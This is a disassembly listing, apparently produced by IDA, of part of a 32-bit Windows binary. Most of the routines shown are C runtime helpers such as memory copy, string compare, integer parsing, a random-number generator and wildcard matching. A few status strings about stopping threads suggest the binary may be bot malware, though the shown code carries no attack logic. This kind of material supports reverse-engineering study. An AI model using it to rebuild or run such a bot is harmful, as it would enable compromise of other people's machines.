		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_416D1B
		push	[ebp+arg_1C]
		call	sub_41751F
		pop	ecx

loc_416D1B:				; CODE XREF: sub_416D02+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_416C6F
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_416D47
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_416FB6
		add	esp, 14h
		jmp	short loc_416D61
; ---------------------------------------------------------------------------

loc_416D47:				; CODE XREF: sub_416D02+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_416FB6
		add	esp, 10h

loc_416D61:				; CODE XREF: sub_416D02+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_416D81
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_416D81:				; CODE XREF: sub_416D02+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BD8D
		pop	ecx
		leave
		retn
sub_416D02	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D90	proc near		; CODE XREF: sub_401000+A2p
					; sub_401444+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_44457C[eax], ecx
		mov	dword_444568[eax], ecx
		mov	dword_44456C[eax], ecx
		mov	dword_444570[eax], ecx
		mov	dword_444574[eax], ecx
		mov	dword_444578[eax], ecx
		mov	byte ptr dword_444368[eax], cl
		mov	byte_444580[eax], cl
		retn
sub_416D90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DCD	proc near		; CODE XREF: sub_40EC43+6158p
					; sub_416EF5+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_416E2F
; ---------------------------------------------------------------------------

loc_416DD9:				; CODE XREF: sub_416DCD+66j
		cmp	eax, 1
		jnz	short loc_416E40
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_416E40
		cmp	cl, 2Ah
		jz	short loc_416E18
		cmp	cl, 3Fh
		jz	short loc_416DFD
		cmp	cl, 5Bh
		jz	short loc_416E02
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_416DFD:				; CODE XREF: sub_416DCD+22j
		inc	[ebp+arg_4]
		jmp	short loc_416E2B
; ---------------------------------------------------------------------------

loc_416E02:				; CODE XREF: sub_416DCD+27j
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_416E61
		mov	esi, [ebp+arg_0]
		jmp	short loc_416E29
; ---------------------------------------------------------------------------

loc_416E18:				; CODE XREF: sub_416DCD+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_416EF5
		mov	esi, [ebp+arg_0]
		dec	esi

loc_416E29:				; CODE XREF: sub_416DCD+49j
		pop	ecx
		pop	ecx

loc_416E2B:				; CODE XREF: sub_416DCD+33j
		inc	esi
		mov	[ebp+arg_0], esi

loc_416E2F:				; CODE XREF: sub_416DCD+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_416DD9
		jmp	short loc_416E40
; ---------------------------------------------------------------------------

loc_416E37:				; CODE XREF: sub_416DCD+76j
		cmp	eax, 1
		jnz	short loc_416E5C
		inc	esi
		mov	[ebp+arg_0], esi

loc_416E40:				; CODE XREF: sub_416DCD+Fj
					; sub_416DCD+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_416E37
		cmp	eax, 1
		jnz	short loc_416E5C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_416E5C
		cmp	byte ptr [esi],	0
		jnz	short loc_416E5C
		xor	eax, eax
		inc	eax
		jmp	short loc_416E5E
; ---------------------------------------------------------------------------

loc_416E5C:				; CODE XREF: sub_416DCD+6Dj
					; sub_416DCD+7Bj ...
		xor	eax, eax

loc_416E5E:				; CODE XREF: sub_416DCD+8Dj
		pop	esi
		pop	ebp
		retn
sub_416DCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E61	proc near		; CODE XREF: sub_416DCD+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		xor	eax, eax
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_416E82
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_416E82:				; CODE XREF: sub_416E61+19j
		push	ebx
		push	esi

loc_416E84:				; CODE XREF: sub_416E61+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_416E92
		cmp	[ebp+var_4], eax
		jnz	short loc_416EDA

loc_416E92:				; CODE XREF: sub_416E61+2Aj
		test	edi, edi
		jnz	short loc_416ECF
		cmp	bl, 2Dh
		jnz	short loc_416EC3
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_416EC3
		cmp	al, 5Dh
		jz	short loc_416EC3
		cmp	[ebp+var_4], edi
		jnz	short loc_416EC3
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_416ECF
		cmp	bl, al
		jg	short loc_416ECF
		mov	[edx], esi
		jmp	short loc_416ECC
; ---------------------------------------------------------------------------

loc_416EC3:				; CODE XREF: sub_416E61+38j
					; sub_416E61+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_416ECF

loc_416ECC:				; CODE XREF: sub_416E61+60j
		xor	edi, edi
		inc	edi

loc_416ECF:				; CODE XREF: sub_416E61+33j
					; sub_416E61+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_416E84
; ---------------------------------------------------------------------------

loc_416EDA:				; CODE XREF: sub_416E61+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_416EE7
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_416EE7:				; CODE XREF: sub_416E61+7Ej
		cmp	edi, eax
		jnz	short loc_416EF0
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_416EF0:				; CODE XREF: sub_416E61+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_416E61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EF5	proc near		; CODE XREF: sub_416DCD+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_416F25
; ---------------------------------------------------------------------------

loc_416F0F:				; CODE XREF: sub_416EF5+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_416F20
		cmp	dl, 2Ah
		jnz	short loc_416F32
		cmp	dl, 3Fh
		jnz	short loc_416F23

loc_416F20:				; CODE XREF: sub_416EF5+1Fj
		inc	ecx
		mov	[edi], ecx

loc_416F23:				; CODE XREF: sub_416EF5+29j
		inc	dword ptr [esi]

loc_416F25:				; CODE XREF: sub_416EF5+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_416F0F
		jmp	short loc_416F32
; ---------------------------------------------------------------------------

loc_416F2F:				; CODE XREF: sub_416EF5+40j
		inc	eax
		mov	[esi], eax

loc_416F32:				; CODE XREF: sub_416EF5+24j
					; sub_416EF5+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_416F2F
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_416F54
		cmp	[eax], bl
		jz	short loc_416F47
		xor	eax, eax
		jmp	short loc_416FB1
; ---------------------------------------------------------------------------

loc_416F47:				; CODE XREF: sub_416EF5+4Cj
		cmp	dl, bl
		jnz	short loc_416F54
		cmp	[eax], bl
		jnz	short loc_416F54
		xor	eax, eax
		inc	eax
		jmp	short loc_416FB1
; ---------------------------------------------------------------------------

loc_416F54:				; CODE XREF: sub_416EF5+48j
					; sub_416EF5+54j ...
		push	ecx
		push	eax
		call	sub_416DCD
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416F9B

loc_416F61:				; CODE XREF: sub_416EF5+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_416F73
; ---------------------------------------------------------------------------

loc_416F67:				; CODE XREF: sub_416EF5+86j
		cmp	cl, 5Bh
		jz	short loc_416F7D
		cmp	dl, bl
		jz	short loc_416F7D
		inc	eax
		mov	[edi], eax

loc_416F73:				; CODE XREF: sub_416EF5+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_416F67

loc_416F7D:				; CODE XREF: sub_416EF5+75j
					; sub_416EF5+79j
		cmp	[eax], bl
		jz	short loc_416F92
		push	eax
		push	dword ptr [esi]
		call	sub_416DCD
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_416F97
; ---------------------------------------------------------------------------

loc_416F92:				; CODE XREF: sub_416EF5+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_416F97:				; CODE XREF: sub_416EF5+9Bj
		cmp	eax, ebx
		jnz	short loc_416F61

loc_416F9B:				; CODE XREF: sub_416EF5+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_416FAE
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_416FAE
		mov	[ebp+var_4], 1

loc_416FAE:				; CODE XREF: sub_416EF5+AAj
					; sub_416EF5+B0j
		mov	eax, [ebp+var_4]

loc_416FB1:				; CODE XREF: sub_416EF5+50j
					; sub_416EF5+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FB6	proc near		; CODE XREF: sub_401000+61p
					; sub_4010B2+320p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419B38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_416FF6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417003
; ---------------------------------------------------------------------------

loc_416FF6:				; CODE XREF: sub_416FB6+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419A23
		pop	ecx
		pop	ecx

loc_417003:				; CODE XREF: sub_416FB6+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_416FB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_417008	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D6D+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_438A3C, eax
		retn
sub_417008	endp


; =============== S U B	R O U T	I N E =======================================



sub_417012	proc near		; CODE XREF: sub_4010B2+CBp
					; sub_4010B2+13Fp ...
		mov	eax, dword_438A3C
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_438A3C, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_417012	endp


; =============== S U B	R O U T	I N E =======================================



sub_417030	proc near		; CODE XREF: sub_4010B2+281p
					; sub_401444+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417083
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417077
		neg	ecx
		and	ecx, 3
		jz	short loc_417059
		sub	edx, ecx

loc_417053:				; CODE XREF: sub_417030+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417053

loc_417059:				; CODE XREF: sub_417030+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417077
		rep stosd
		test	edx, edx
		jz	short loc_41707D

loc_417077:				; CODE XREF: sub_417030+18j
					; sub_417030+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417077

loc_41707D:				; CODE XREF: sub_417030+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417083:				; CODE XREF: sub_417030+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417030	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417090	proc near		; CODE XREF: sub_4010B2+22Dp
					; sub_4010B2+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4170B0
		cmp	edi, eax
		jb	loc_417228

loc_4170B0:				; CODE XREF: sub_417090+16j
		test	edi, 3
		jnz	short loc_4170CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4170EC
		rep movsd
		jmp	off_4171D8[edx*4]
; ---------------------------------------------------------------------------

loc_4170CC:				; CODE XREF: sub_417090+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4170E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4170EC+4[eax*4]
; ---------------------------------------------------------------------------

loc_4170E4:				; CODE XREF: sub_417090+46j
		jmp	dword ptr loc_4171E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4170EC:				; CODE XREF: sub_417090+31j
					; sub_417090+8Ej ...
		jmp	off_41716C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_417100
		dd offset loc_41712C
		dd offset loc_417150
; ---------------------------------------------------------------------------

loc_417100:				; DATA XREF: sub_417090+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4170EC
		rep movsd
		jmp	off_4171D8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41712C:				; DATA XREF: sub_417090+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4170EC
		rep movsd
		jmp	off_4171D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_417150:				; DATA XREF: sub_417090+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4170EC
		rep movsd
		jmp	off_4171D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41716C	dd offset loc_4171CF	; DATA XREF: sub_417090:loc_4170ECr
		dd offset loc_4171BC
		dd offset loc_4171B4
		dd offset loc_4171AC
		dd offset loc_4171A4
		dd offset loc_41719C
		dd offset loc_417194
		dd offset loc_41718C
; ---------------------------------------------------------------------------

loc_41718C:				; CODE XREF: sub_417090:loc_4170ECj
					; DATA XREF: sub_417090+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_417194:				; CODE XREF: sub_417090:loc_4170ECj
					; DATA XREF: sub_417090+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41719C:				; CODE XREF: sub_417090:loc_4170ECj
					; DATA XREF: sub_417090+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4171A4:				; CODE XREF: sub_417090:loc_4170ECj
					; DATA XREF: sub_417090+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4171AC:				; CODE XREF: sub_417090:loc_4170ECj
					; DATA XREF: sub_417090+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4171B4:				; CODE XREF: sub_417090:loc_4170ECj
					; DATA XREF: sub_417090+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4171BC:				; CODE XREF: sub_417090:loc_4170ECj
					; DATA XREF: sub_417090+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4171CF:				; CODE XREF: sub_417090:loc_4170ECj
					; DATA XREF: sub_417090:off_41716Co
		jmp	off_4171D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4171D8	dd offset loc_4171E8	; DATA XREF: sub_417090+35r
					; sub_417090+92r ...
		dd offset loc_4171F0
		dd offset loc_4171FC
		dd offset loc_417210
; ---------------------------------------------------------------------------

loc_4171E8:				; CODE XREF: sub_417090+35j
					; sub_417090+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4171F0:				; CODE XREF: sub_417090+35j
					; sub_417090+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4171FC:				; CODE XREF: sub_417090+35j
					; sub_417090+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_417210:				; CODE XREF: sub_417090+35j
					; sub_417090+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417228:				; CODE XREF: sub_417090+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41725C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417250
		std
		rep movsd
		cld
		jmp	off_417370[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_417250:				; CODE XREF: sub_417090+1B1j
					; sub_417090+208j ...
		neg	ecx
		jmp	off_417320[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41725C:				; CODE XREF: sub_417090+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417274
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417274+4[eax*4]
; ---------------------------------------------------------------------------

loc_417274:				; CODE XREF: sub_417090+1D6j
					; DATA XREF: sub_417090+1DDr
		jmp	off_417370[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417287+1
; ---------------------------------------------------------------------------
		test	al, 72h
		inc	ecx
		add	al, dl
		jb	short loc_4172C8

loc_417287:				; DATA XREF: sub_417090+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417250
		std
		rep movsd
		cld
		jmp	off_417370[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417250
		std
		rep movsd
		cld

loc_4172C8:				; CODE XREF: sub_417090+1F5j
		jmp	off_417370[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417250
		std
		rep movsd
		cld
		jmp	off_417370[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417324
		dd offset loc_41732C
		dd offset loc_417334
		dd offset loc_41733C
		dd offset loc_417344
		dd offset loc_41734C
		dd offset loc_417354
off_417320	dd offset loc_417367	; DATA XREF: sub_417090+1C2r
; ---------------------------------------------------------------------------

loc_417324:				; DATA XREF: sub_417090+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41732C:				; DATA XREF: sub_417090+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_417334:				; DATA XREF: sub_417090+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41733C:				; DATA XREF: sub_417090+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_417344:				; DATA XREF: sub_417090+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41734C:				; DATA XREF: sub_417090+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_417354:				; DATA XREF: sub_417090+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_417367:				; CODE XREF: sub_417090+1C2j
					; DATA XREF: sub_417090:off_417320o
		jmp	off_417370[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417370	dd offset loc_417380	; DATA XREF: sub_417090+1B7r
					; sub_417090:loc_417274r ...
		dd offset loc_417388
		dd offset loc_417398
		dd offset loc_4173AC
; ---------------------------------------------------------------------------

loc_417380:				; CODE XREF: sub_417090+1B7j
					; sub_417090:loc_417274j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417388:				; CODE XREF: sub_417090+1B7j
					; sub_417090:loc_417274j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417398:				; CODE XREF: sub_417090+1B7j
					; sub_417090:loc_417274j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4173AC:				; CODE XREF: sub_417090+1B7j
					; sub_417090:loc_417274j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4173D0	proc near		; CODE XREF: sub_4010B2+FCp
					; sub_4010B2+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41741C

loc_4173E0:				; CODE XREF: sub_4173D0+3Cj
					; sub_4173D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417414
		or	al, al
		jz	short loc_417410
		cmp	ah, [ecx+1]
		jnz	short loc_417414
		or	ah, ah
		jz	short loc_417410
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417414
		or	al, al
		jz	short loc_417410
		cmp	ah, [ecx+3]
		jnz	short loc_417414
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4173E0
		mov	edi, edi

loc_417410:				; CODE XREF: sub_4173D0+18j
					; sub_4173D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417414:				; CODE XREF: sub_4173D0+14j
					; sub_4173D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41741C:				; CODE XREF: sub_4173D0+Ej
		test	edx, 1
		jz	short loc_417438
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417414
		inc	ecx
		or	al, al
		jz	short loc_417410
		test	edx, 2
		jz	short loc_4173E0

loc_417438:				; CODE XREF: sub_4173D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417414
		or	al, al
		jz	short loc_417410
		cmp	ah, [ecx+1]
		jnz	short loc_417414
		or	ah, ah
		jz	short loc_417410
		add	ecx, 2
		jmp	short loc_4173E0
sub_4173D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417460	proc near		; CODE XREF: sub_4010B2+19Ep
					; sub_401A64+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417479
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_417479:				; CODE XREF: sub_417460+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417460	endp


; =============== S U B	R O U T	I N E =======================================



sub_417494	proc near		; CODE XREF: sub_41751F+4p
					; sub_42067A+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41749C:				; CODE XREF: sub_417494+34j
		cmp	dword_438C8C, 1
		jle	short loc_4174B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_4174C3
; ---------------------------------------------------------------------------

loc_4174B4:				; CODE XREF: sub_417494+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_438A80
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_4174C3:				; CODE XREF: sub_417494+1Ej
		test	eax, eax
		jz	short loc_4174CA
		inc	edi
		jmp	short loc_41749C
; ---------------------------------------------------------------------------

loc_4174CA:				; CODE XREF: sub_417494+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4174DA
		cmp	esi, 2Bh
		jnz	short loc_4174DE

loc_4174DA:				; CODE XREF: sub_417494+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_4174DE:				; CODE XREF: sub_417494+44j
		xor	ebx, ebx

loc_4174E0:				; CODE XREF: sub_417494+7Bj
		cmp	dword_438C8C, 1
		jle	short loc_4174F5
		push	4
		push	esi
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_417500
; ---------------------------------------------------------------------------

loc_4174F5:				; CODE XREF: sub_417494+53j
		mov	eax, off_438A80
		mov	al, [eax+esi*2]
		and	eax, 4

loc_417500:				; CODE XREF: sub_417494+5Fj
		test	eax, eax
		jz	short loc_417511
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4174E0
; ---------------------------------------------------------------------------

loc_417511:				; CODE XREF: sub_417494+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41751A
		neg	eax

loc_41751A:				; CODE XREF: sub_417494+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417494	endp


; =============== S U B	R O U T	I N E =======================================



sub_41751F	proc near		; CODE XREF: sub_4013E8+12p
